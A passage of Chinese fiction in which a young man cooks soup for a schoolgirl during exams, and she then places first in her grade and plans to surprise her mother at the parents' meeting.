灶上的小锅里咕噜咕噜冒着泡,蒸汽顶的锅盖轻轻响动,浓郁的香味溢了出来。 他没回头,却向背后长了眼睛,手下动作没停,声音混在切菜的笃笃声里。 “回来啦?先喝点水休息休息,汤还得等两分钟。” 何青云“哦”了一声,倒了杯水小口喝着,目光又落回厨房。他切完葱花,又从碗柜里拿出两个洗净的碗,用热水烫了烫,动作熟练利索。 “今天炖的什么?”她问。 “莲藕排骨,加了点花生。”梁北方将葱花拨进碟子里,“奶奶说这个时间喝,润嗓子的。”他这才转过身,看了她一眼,“脸色比早上好看点,看来今天没死磕?” “做了两套卷子。” “感觉咋样?” “还行。就是最后有些题还是没把握”她老实说。 “那就是前面稳了。”梁北方嘴角弯了下,转身揭开锅盖,更浓郁的香气蒸腾而出,他拿起勺子撇了撇浮沫,又撒了点盐,舀一勺吹了吹递过来。 “尝尝味道?” 何青云愣了愣,就着他的手喝下,汤味醇厚清甜,带着莲藕和花生的香,“好喝。” 就是有点太亲密了,她心跳好快。 “行了。”梁北方关火,将汤小心的盛进两个碗里,撒上葱花,端上桌子。 何青云接过碗。汤汁清澈,莲藕粉糯,排骨炖得软烂,她捧起碗,热气熏到脸上,湿湿润润的。 电风扇调到最大,对着她吹。 一碗汤很快见底。何青云感觉额头和鼻尖都沁出了一层薄汗,脑子有些慵懒放空。 “还要不?锅里还有。” “不要了,我回去了。” “好,快去复习吧,考完哥哥给你做好吃的。” – 两天考试紧凑而平静地过去。交上最后一科试卷时,何青云长长舒了口气,尽力了,剩下的就交给结果。 成绩公布那天,教室里空气中都带着躁动。班主任徐莹莹拿着成绩单走进来时,脸上笑意压不住。 “这次期末考,我们班整体进步很大!尤其要表扬何青云同学,”她微顿,赞许般看向何青云,“总分全班第一,年级排名也是第一!” 教室里响起一片掌声。 何青云耳朵瞬间烧了起来,心怦怦直跳。 第一?她有点不敢相信地看向成绩单,自己的名字赫然排在首位。 宋均山转过身,由衷地祝贺她:“真厉害啊。” 他原来一直是全校第一,这次被何青云甩开,分数差距还挺大。 何青云还有些懵,紧接着,徐莹莹宣布:“学校定于后天上午召开期末家长会,同步分析成绩和暑假安排,各位同学务必通知家长准时参加。” 一个念头抑制不住地冒出来——先说成绩,等家长会那天,让妈妈自己看到。 妈妈肯定会夸她的,对吧? 她几乎是迫不及待地收拾书包回家,脚步轻快得像要飞起来。一路上,田埂边的野花,远处的炊烟,甚至同学的吵闹声都显得格外可爱。 憋住,这可是个大惊喜。 回到家,陈红还没回来。何青云把成绩单仔细折好,藏进抽屉里面。对着镜子,她看到自己眼睛里亮晶晶的光,嘴角怎么压也压不下去。 窗外,夕阳把天空染成温柔的橘粉色。她深吸一口气,对着镜子悄悄说:“等后天,妈妈就知道啦。”